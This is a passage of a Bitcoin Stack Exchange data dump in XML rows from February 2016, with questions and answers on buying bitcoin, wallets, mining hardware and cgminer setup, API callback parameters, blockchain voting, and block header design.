&quot;02b551067a9159d3964cb5c5b15d57169c0b2e24fefcfe768c6624ff1a6cedf7b5 OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot;: &quot;2102b551067a9159d3964cb5c5b15d57169c0b2e24fefcfe768c6624ff1a6cedf7b5ac&quot;,&#xA;                &quot;reqSigs&quot;: 1,&#xA;                &quot;type&quot;: &quot;pubkey&quot;,&#xA;                &quot;addresses&quot;: [&#xA;                  &quot;mqu1hVy32hcojhq12kt21kVaCd7g4nwPU5&quot;&#xA;                ]&#xA;              }&#xA;            }&#xA;          ]&#xA;        }&#xA;      ],&#xA;.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31482" LastActivityDate="2016-02-09T06:23:44.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42830" PostTypeId="1" CreationDate="2016-02-09T07:06:49.400" Score="1" ViewCount="143" Body="&lt;p&gt;I am wanting to buy BTC to buy goods but things are a bit confusing to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, would I be better off buying from someone or a website, or use an atm? Once I purchase the BTC what is the best place to store it? I don't want to link bank accounts and all that which is why I think using an atm would be best. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do use the atm here locally do they just give me a QR code and if so what's the best mobile app to use to get my coins where I can spend them? I've read the FAQs around I'm just still a bit confused. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help is greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="32838" LastActivityDate="2016-08-10T15:01:45.187" Title="First time buyer, questions before I screw up" Tags="|e-wallet|qrcode|bitcoin-atm|account-control|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42832" PostTypeId="2" ParentId="42827" CreationDate="2016-02-09T07:36:57.950" Score="0" Body="&lt;p&gt;Assuming you sent the amount to the correct address you have nothing to worry about. This is expected for a wallet that has to download and verify the whole blockchain. Other wallets use &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability#Simplified_payment_verification&quot; rel=&quot;nofollow&quot;&gt;SPV&lt;/a&gt; that only verifies transactions for your addresses and thus they do not have to download the whole blockchain. Examples of SPV wallets for the desktop are &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;Multibit&lt;/a&gt; and &lt;a href=&quot;https://electrum.org&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After syncing you will see the balance reflected but you could also immediately check if the coins arrived to your address correctly with a block explorer. E.g. go to &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; or &lt;a href=&quot;https://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;BlockExplorer&lt;/a&gt; and search for your address: you will see the amount on that address, the number of confirmations, etc.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-02-09T07:36:57.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42833" PostTypeId="2" ParentId="42830" CreationDate="2016-02-09T08:06:42.343" Score="1" Body="&lt;p&gt;Yes, if you don't want the hassle of registering or giving your details to a website an ATM would be the better choice. Note that ATMs usually charge more than an online exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They give you a bitcoin address and its QR code as well as a private key and its QR code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is &lt;strong&gt;all&lt;/strong&gt; you need to have control and access of your coins on that address. The private key can be used to calculate the public key and the latter can be used to calculate the bitcoin address (which as I mentioned is given already for convenience).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two very good mobile wallet apps are &lt;a href=&quot;https://mycelium.com/mycelium-wallet.html&quot; rel=&quot;nofollow&quot;&gt;Mycelium&lt;/a&gt; and &lt;a href=&quot;https://airbitz.co/bitcoin-wallet/&quot; rel=&quot;nofollow&quot;&gt;Airbitz&lt;/a&gt;. You can use the wallet app to scan the private key QR code and have complete access to that address (ie. send coins elsewhere). If you scan the address QR code you can check the balance of that address but not spend any coins from it.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-02-09T08:06:42.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42834" PostTypeId="2" ParentId="6055" CreationDate="2016-02-09T10:43:48.960" Score="0" Body="&lt;p&gt;you can register domain names with bitcoin and whois protection at &lt;a href=&quot;https://monovm.com/domain/&quot; rel=&quot;nofollow&quot;&gt;https://monovm.com/domain/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32843" LastActivityDate="2016-02-09T10:43:48.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42835" PostTypeId="5" CreationDate="2016-02-09T11:10:43.757" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-09T11:10:43.757" LastActivityDate="2016-02-09T11:10:43.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42836" PostTypeId="4" CreationDate="2016-02-09T11:10:43.757" Score="0" Body="Questions about credit-card services that draw upon Bitcoin balances." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-09T11:10:43.757" LastActivityDate="2016-02-09T11:10:43.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42837" PostTypeId="5" CreationDate="2016-02-09T11:13:05.907" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-09T11:13:05.907" LastActivityDate="2016-02-09T11:13:05.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42838" PostTypeId="4" CreationDate="2016-02-09T11:13:05.907" Score="0" Body="Questions about credit-card services and credit-cards that can be funded with Bitcoin, or draw on a Bitcoin balance to clear payments." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-09T11:13:05.907" LastActivityDate="2016-02-09T11:13:05.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42840" PostTypeId="2" ParentId="42820" CreationDate="2016-02-09T13:53:13.463" Score="2" Body="&lt;p&gt;I have used &lt;a href=&quot;http://xapo.com&quot; rel=&quot;nofollow&quot;&gt;xapo&lt;/a&gt;. The card works great. There is a Bitcoin wallet app where you can store bitcoins. The debit card just spends what you have in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt; which is an exchange for buying coins also provide debit cards. I haven't used the card but bitstamp is a well known reputable exchange.&lt;/p&gt;&#xA;" OwnerUserId="28157" LastActivityDate="2016-02-09T13:53:13.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42844" PostTypeId="1" CreationDate="2016-02-10T08:03:57.330" Score="1" ViewCount="447" Body="&lt;p&gt;I have a S3+ ASIC miner and &lt;a href=&quot;http://www.amazon.in/Circle-APFC-Gaming-cabinet-Server/dp/B00R07GFS2/ref=pd_cp_23_1?ie=UTF8&amp;amp;refRID=1PE10BWS06VQH4E1RQWY&quot; rel=&quot;nofollow noreferrer&quot;&gt;500w PSU&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My question is that what do I need to convert a 4+4 PCI-E into a 6+2 PCI-E or two 6+2 PCI-E.&#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="32868" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-03-22T15:13:09.750" Title="PSU for Bitmain Asic miner" Tags="|asic|mining-hardware|mining-setup|antminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42846" PostTypeId="1" CreationDate="2016-02-10T11:51:30.853" Score="-1" ViewCount="350" Body="&lt;p&gt;I'm pretty new to mining. I bought a Raspberry Pi. And I want to know how much bucks I will make when I do mining. The hash rate of Raspberry Pi is 0.4 Mhash/sec (I found on google).&lt;br&gt;&#xA;However, when using a Bitcoin calculator I have to put in a value for difficulty. How do I find out the difficulty?&lt;/p&gt;&#xA;" OwnerUserId="32876" LastEditorUserId="5406" LastEditDate="2016-02-11T10:19:04.530" LastActivityDate="2016-02-11T10:19:04.530" Title="How to calculate monthly income in bitcoin mining? What is bitcoin difficulty?" Tags="|mining-profitability|mining-hardware|raspberry-pi|" AnswerCount="1" CommentCount="1" ClosedDate="2016-02-10T12:38:56.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="42847" PostTypeId="2" ParentId="42846" CreationDate="2016-02-10T12:28:45.300" Score="0" Body="&lt;p&gt;Difficulty can be found i.e. by googling &quot;current bitcoin difficulty&quot; - I found this one: &lt;a href=&quot;http://bitcoindifficulty.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoindifficulty.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of 2016, the expected income with a rasberry pi is most likely completely  insignificant, not even worth doing the math on it.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastActivityDate="2016-02-10T12:28:45.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42848" PostTypeId="1" AcceptedAnswerId="42860" CreationDate="2016-02-10T16:55:40.230" Score="5" ViewCount="3582" Body="&lt;p&gt;If you would compare Bitcoin with electronic banking there are quite a lot of similarities like the encryption and hashing with private and public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In electronic banking though the bank is the certification authority.  Who is doing this in blockchain/Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="32762" LastEditorUserId="5406" LastEditDate="2016-02-11T09:48:56.373" LastActivityDate="2016-02-11T10:05:28.470" Title="Who is the certification authority in Bitcoin?" Tags="|blockchain|network|trust|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42849" PostTypeId="2" ParentId="35682" CreationDate="2016-02-10T18:34:06.063" Score="0" Body="&lt;p&gt;I don't know if you already solved this, but I got 2 of the 144KH/S-280KH/S USB LiteCoin miners running on my Mac - El Capitan by doing the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download, build and install dmaxl/cgminer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;./autogen.sh&#xA;./configure --scrypt --enable-zeus&#xA;make&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the USB sticks using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;ls /dev/ | grep SLAB&#xA;&lt;/code&gt;&#xA;&lt;code&gt;&#xA;cu.SLAB_USBtoUART&#xA;cu.SLAB_USBtoUART20&#xA;tty.SLAB_USBtoUART&#xA;tty.SLAB_USBtoUART20&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried both the tty.SLAB_USB* and cu.SLAB_USB* devices, only the cu.SLAB_USB* seem to work.  Make sure the switch is in the proper position on each USB stick (switches to the right)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Startup cgminer using the command:&#xA;&lt;code&gt;&#xA;sudo ./cgminer --scrypt --zeus-chips 1 --zeus-clock 144  --zeus-nocheck-golden --url stratum+tcp://us.litecoinpool.org:3333 --user &lt;i&gt;user&lt;/i&gt; --pass &lt;i&gt;pass&lt;/i&gt; -S /dev/cu.SLAB_USBtoUART -S /dev/cu.SLAB_USBtoUART20&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;cgminer version 4.3.5-scrypt.2 - Started: [2016-02-10 13:28:56]&#xA;--------------------------------------------------------------------------------&#xA; (5s):204.8K (1m):3.534M (5m):13.58M (15m):7.466M (avg):201.5Kh/s&#xA; A:400  R:0  HW:0  WU:110.0/m&#xA; Connected to us.litecoinpool.org diff 16 with stratum as user p0six.2&#xA; Block: bf5105cb...  Diff:53.7K  Started: [13:32:12]  Best share: 570&#xA;--------------------------------------------------------------------------------&#xA; [U]SB management [P]ool management [S]ettings [D]isplay options [Q]uit&#xA; 0: ZUS cu.SLAB_USBt:    1 chips   144 MHz    | 98.30K / 98.29Kh/s WU:  0.0/m&#xA; 1: ZUS cu.SLAB_USBt:    1 chips   144 MHz    | 106.2K / 103.2Kh/s WU:110.0/m&#xA;--------------------------------------------------------------------------------&#xA; [2016-02-10 13:28:55] Found Zeus at /dev/cu.SLAB_USBtoUART20, mark as 0&#xA; [2016-02-10 13:28:55] ZUS0 opened on /dev/cu.SLAB_USBtoUART&#xA; [2016-02-10 13:28:55] ZUS1 opened on /dev/cu.SLAB_USBtoUART20&#xA; [2016-02-10 13:28:55] Probing for an alive pool&#xA; [2016-02-10 13:28:55] Pool 0 difficulty changed to 1024&#xA; [2016-02-10 13:28:56] Network diff set to 53.7K&#xA; [2016-02-10 13:29:40] Pool 0 difficulty changed to 128&#xA; [2016-02-10 13:29:40] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:29:40] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:29:55] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:29:57] Stratum from pool 0 detected new block&#xA; [2016-02-10 13:30:02] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:30:19] Accepted 74e89353 Diff 561/128 ZUS 1&#xA; [2016-02-10 13:30:30] Pool 0 difficulty changed to 16&#xA; [2016-02-10 13:30:30] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:30:36] Accepted 0f7528ed Diff 17/16 ZUS 1&#xA; [2016-02-10 13:30:36] Accepted 0cd35843 Diff 20/16 ZUS 1&#xA; [2016-02-10 13:30:37] Accepted 0e6b87d6 Diff 18/16 ZUS 1&#xA; [2016-02-10 13:30:39] Accepted 0f759ff9 Diff 17/16 ZUS 1&#xA; [2016-02-10 13:30:46] Accepted 077eb8cf Diff 34/16 ZUS 1&#xA; [2016-02-10 13:30:47] Accepted 02072ca0 Diff 126/16 ZUS 1&#xA; [2016-02-10 13:30:55] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:31:00] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:31:02] Accepted 72e164bb Diff 570/16 ZUS 1&#xA; [2016-02-10 13:31:11] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:31:13] Accepted 01064e29 Diff 250/16 ZUS 1&#xA; [2016-02-10 13:31:24] Accepted 043989e0 Diff 61/16 ZUS 1&#xA; [2016-02-10 13:31:30] Accepted 090f91cc Diff 28/16 ZUS 1&#xA; [2016-02-10 13:31:31] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:31:36] Accepted 0d552c6d Diff 19/16 ZUS 1&#xA; [2016-02-10 13:31:38] Accepted 075f6dce Diff 35/16 ZUS 1&#xA; [2016-02-10 13:31:54] Accepted 03582610 Diff 77/16 ZUS 1&#xA; [2016-02-10 13:31:54] Accepted 03e27b84 Diff 66/16 ZUS 1&#xA; [2016-02-10 13:31:59] Accepted 0ecb339a Diff 17/16 ZUS 1&#xA; [2016-02-10 13:32:06] Accepted 0d200fb6 Diff 20/16 ZUS 1&#xA; [2016-02-10 13:32:12] Stratum from pool 0 detected new block&#xA; [2016-02-10 13:32:14] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:32:17] Stratum from pool 0 requested work restart&#xA; [2016-02-10 13:32:30] Accepted 01433148 Diff 203/16 ZUS 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can adjust the clock frequency, provided you have a fan.&lt;/p&gt;&#xA;" OwnerUserId="32887" LastActivityDate="2016-02-10T18:34:06.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42850" PostTypeId="2" ParentId="42848" CreationDate="2016-02-10T18:34:44.523" Score="2" Body="&lt;p&gt;The decentralized network of Bitcoin miners is Bitcoin's &quot;certification authority.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin's blockheaders (which miners create) are an example of a DMMS, &quot;dynamic membership multi-party signature&quot; (cf. the intro. of &lt;a href=&quot;https://www.blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, p. 3).&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2016-02-10T18:34:44.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42851" PostTypeId="1" CreationDate="2016-02-10T18:44:26.800" Score="0" ViewCount="265" Body="&lt;p&gt;I am trying to get variables back from the callback URL, but I can't figure out how to add custom parameters correctly. This is how I have them written right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newAddy = json_decode(file_get_contents(&quot;https://blockchain.info/merchant/$ID/new_address?password=$PW&amp;amp;funding_id=$funding_id&quot;),true);&#xA;$parseAddy = $newAddy[address];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$funding_id&lt;/code&gt; is the extra one that I want to add. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="32888" LastEditorUserId="5406" LastEditDate="2016-02-11T09:45:52.640" LastActivityDate="2021-12-23T08:07:50.783" Title="Blockchain Receive API - custom Parameters" Tags="|api|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42852" PostTypeId="2" ParentId="42093" CreationDate="2016-02-10T19:57:11.360" Score="8" Body="&lt;p&gt;Blockchains are a bad solution for voting, and in my opinion the widespread interest in using them for this purpose is misguided.&lt;/p&gt;&#xA;&lt;p&gt;One of the important properties of a voting system is making sure that it is impossible for a voter to prove after the fact what vote they cast, in order to avoid vote selling or intimidation. Because of this, systems that do allow voters to prove what they voted for are in fact outlawed for government elections in many jurisdictions.&lt;/p&gt;&#xA;&lt;p&gt;The property you want is &lt;strong&gt;auditability&lt;/strong&gt; (individual users need to be able to check their vote was counted, and verify that the tally was computed correctly), but that doesn't require &lt;strong&gt;publication&lt;/strong&gt;. A blockchain is however inherently a publication mechanism, and systems that rely on a blockchain to tally votes imply that everyone can see all votes.&lt;/p&gt;&#xA;&lt;p&gt;In practice, modern cryptographic voting systems (see &lt;a href=&quot;https://en.wikipedia.org/wiki/End-to-end_auditable_voting_systems&quot; rel=&quot;nofollow noreferrer&quot;&gt;E2E auditable systems&lt;/a&gt;) actually have very good properties, without the need for publication. They rely on a central server which can see the IP addresses of the voters (but can't see the encrypted votes, and Tor can conceal IPs), let a group of trustees jointly decrypt the resulting tally, and let individual users verify after the fact that their vote was included in that tally.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;But isn't that centralized?&lt;/strong&gt; Yes it is. But decentralization is only a means to achieve a goal. In Bitcoin, we need decentralization as it's the only alternative to having a central party with transaction censoring rights. In a voting system, having a central party who can censor encrypted votes is typically preferable to allowing the whole world to see your vote (and still allow a 51% majority to censor and thus influence the outcome).&lt;/p&gt;&#xA;&lt;p&gt;I also recommend reading Ben Adida's blog post on the matter: &lt;a href=&quot;https://benlog.com/2017/12/28/blockchain-and-voting/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://benlog.com/2017/12/28/blockchain-and-voting/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2020-12-10T18:17:37.517" LastActivityDate="2020-12-10T18:17:37.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42853" PostTypeId="1" CreationDate="2016-02-10T20:18:02.220" Score="1" ViewCount="542" Body="&lt;p&gt;Assume a blockchain model that contained no transaction data - just pure data. After a set time this data would simply be deleted, and entire blocks would be removed. How would the security model of the blockchain suffer? Would it make it easier for a &quot;long chain&quot; attack, and if so how can this be prevented?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to store data into the blockchain. Anyone could store data in this chain, and all nodes have a copy of this chain. There is a block race, to secure the blockchain as normal, but there would be no rewards since this is not a money based system. How the deletion is done is yet to be explored, but basically all nodes would agree all blocks older than x months be deleted from their systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would an attacker be able to compute a longer chain if they know of the point at which data is deleted, then show this to the network and then make the network believe this is the correct and valid chain? If so, how can we stop this? (Assume the attacker has less than 51% computing power.) I have looked into timestamps, and time capsule based encryption, but what I want is a mechanism where an attacker cannot successfully create a block without some information that would only be revealed on a specific day.&lt;/p&gt;&#xA;" OwnerUserId="32891" LastEditorUserId="2306" LastEditDate="2016-02-10T22:43:06.917" LastActivityDate="2016-02-10T23:40:13.943" Title="Security within a deleting blockchain model" Tags="|blockchain|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42854" PostTypeId="1" AcceptedAnswerId="42856" CreationDate="2016-02-10T23:37:14.190" Score="1" ViewCount="1029" Body="&lt;p&gt;Sorry if my question could be silly, but is there any option to perform 3d rendering on my Butterfly Labs ASICS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for now, I don't see any reason to farm bitcons on my 5Ghash ASICs, so I came up to an idea of making a rendering farm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="32893" LastActivityDate="2016-02-11T01:12:05.417" Title="Butterfly Labs ASIC for rendering in 3dsmax" Tags="|asic|butterfly-labs|" AnswerCount="1" CommentCount="0" ClosedDate="2016-02-11T09:41:53.247" ContentLicense="CC BY-SA 3.0" />
  <row Id="42855" PostTypeId="2" ParentId="42853" CreationDate="2016-02-10T23:40:13.943" Score="1" Body="&lt;p&gt;Your system is pretty easy to implement. The major reason why Bitcoin nodes don't delete old blocks is that old transactions are needed to tell if new blocks are valid. But if the validity of new blocks doesn't depend on old blocks, than the contents of those blocks can be deleted without consequences.&lt;/p&gt;&#xA;&lt;p&gt;You mention the problem of having a node on the network pretend that an old block is new. Bitcoin solves this problem in three ways:&lt;/p&gt;&#xA;&lt;h3&gt;Separate block header and block contents; keep block header forever&lt;/h3&gt;&#xA;&lt;p&gt;Bitcoin block headers are 80 bytes. They look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;4 byte version&amp;gt; &amp;lt;32 byte hash of previous block header&amp;gt;&#xA;&amp;lt;32 byte hash of the block contents&amp;gt;  &amp;lt;4 byte timestamp&amp;gt;&#xA;&amp;lt;4 byte difficulty&amp;gt; &amp;lt;4 byte nonce&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That's small enough to avoid having to delete the block headers, ever, but enough to include a merkle root of what's in the block. You can delete the block, but keep the block header around. The difficulty field is necessary because Bitcoin difficulty can vary. The 4 byte nonce is added to make mining easier.&lt;/p&gt;&#xA;&lt;h3&gt;Record timestamp in block header&lt;/h3&gt;&#xA;&lt;p&gt;The timestamp is recorded in the block header, and the Bitcoin client rejects any block headers that are too far into the future or the past.&lt;/p&gt;&#xA;&lt;h3&gt;Record previous block in block header&lt;/h3&gt;&#xA;&lt;p&gt;Bitcoin includes the hash of the previous block header in the block header, which means that you can't take a previous set of block headers and pretend that they're new.&lt;/p&gt;&#xA;&lt;p&gt;For example, if you've got these block headers:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;A&amp;gt;B&amp;gt;C&amp;gt;D&amp;gt;E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can't take C and append it to E, because other nodes will notice the mismatch between E and C's parent, B.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-02-10T23:40:13.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42856" PostTypeId="2" ParentId="42854" CreationDate="2016-02-11T01:12:05.417" Score="2" Body="&lt;p&gt;Unfortunately, this is one of the problems with Bitcoin mining hardware, it cannot be repurposed to do anything else. It's not like a GPU where you can just use it to render graphics in a game. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASICs are Application Specific Integrated Circuits. The &quot;Application Specific&quot; part is the key word here, they are specific to being used for mining only.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-02-11T01:12:05.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42857" PostTypeId="2" ParentId="42851" CreationDate="2016-02-11T02:01:51.180" Score="1" Body="&lt;p&gt;You appear to be confusing two different blockchain's API services into one. The code snippet you provided is for their old deprecated wallet API, but your title mentioning the receive payments API is another. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wallet API:&lt;/strong&gt; &lt;a href=&quot;https://blockchain.info/api/blockchain_wallet_api&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/blockchain_wallet_api&lt;/a&gt;&lt;br&gt;&#xA;(The new version requires a local service installed via NPM)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Receive Payments API:&lt;/strong&gt; &lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_receive&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add any custom parameter you would like when using the Receive Payments API just by including it as a GET within your callback URL. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$callback_url = &quot;yourwebsite.com/callback.php?parameter1=&quot;.$var1.&quot;&amp;amp;parameter2=&quot;.$var2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-02-11T02:01:51.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42858" PostTypeId="2" ParentId="42844" CreationDate="2016-02-11T02:04:59.310" Score="1" Body="&lt;p&gt;Use a converter cable. They have so many on amazon: &lt;a href=&quot;http://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&amp;amp;field-keywords=pci-e+converter+cable&amp;amp;rh=i%3Aaps%2Ck%3Apci-e+converter+cable&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&amp;amp;field-keywords=pci-e+converter+cable&amp;amp;rh=i%3Aaps%2Ck%3Apci-e+converter+cable&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-02-11T02:04:59.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42860" PostTypeId="2" ParentId="42848" CreationDate="2016-02-11T10:05:28.470" Score="3" Body="&lt;p&gt;Depending on what function of the certification authority you are looking for, Bitcoin doesn't need one, or the blockchain does it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Identity in e-banking vs identity in Bitcoin network&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Electronic banking relies on the communication between bank and customer being secure which is what they use encrypted protocols for. They don't use either hashing, nor private and public keys in any similar fashion as Bitcoin. Actually, when you order a payment through e-banking, you have to reveal all the secrets to the bank to authenticate yourself: E.g. you put in your user name, your password, and then a specific one-time code as requested by the bank, or when using a credit-card, you give name, credit card number and security code. As these pieces of information would be sufficient to hijack the payment in a man in the middle attack, communication needs to be secure and encrypted. To that end, a certification authority gives out &quot;passports&quot; that allow you to make sure you're talking to the right entity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, communication in Bitcoin is authenticated by the content of the message itself. When you order a payment, it includes a signature that could only have been created by the owner of the address that held the money previously. Nobody can change the message, because the signature would be invalid for any other message, and they cannot produce another valid signature without having access to the private key. The secret is &lt;strong&gt;not revealed&lt;/strong&gt; to order the payment. Therefore, it is not necessary to encrypt communication within the network, and also there is no need to certify the identity of network participants. One can tell directly from the message whether it is valid or not, making the identity of the source of the message irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Authenticity of payments in e-banking vs Bitcoin network&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In e-banking only the bank and you know your balance. Therefore, when you order a payment, the bank will check their ledger and confirm the payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin, everyone can check whether a balance is available to be spent. As explained above the transaction order itself can be checked for validity by every participant, so it is impossible to spend money that isn't yours. The blockchain keeps track of the balances, therefore becoming the ledger everyone referring to when checking payments. Yet, the blockchain is extended in a decentral process, so while the blockchain is central to the network, it is maintained decentrally.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Where e-banking and Bitcoin are similar&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The one thing that still can be attacked in the same way in Bitcoin as in e-banking is the other side of the payment: People can try to fool you into paying something that you didn't intend to pay for. You still need to figure out where to send money. That's where Banking and Bitcoin have the same vulnerability to phishing sites. In fact, Bitcoin is a bit at a loss there, because once you've sent the money it's gone, while you may have a recourse through your bank by having them reverse the payment.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-02-11T10:05:28.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42863" PostTypeId="2" ParentId="40898" CreationDate="2016-02-11T14:51:05.880" Score="1" Body="&lt;p&gt;Bitcoind uses a lot of virtual memory, due to having multiple threads, and maintaining several node-wide and per-peer caches of data (UTXO cache, mempool, relay cache, network buffers, known invs list, ...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until recently, many of these were effectively unbounded, depending on network conditions. The upcoming release of Bitcoin Core 0.12 has far better internal memory accounting, UTXO set limiting, mempool limiting, and more compact internal representations.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-02-11T14:51:05.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
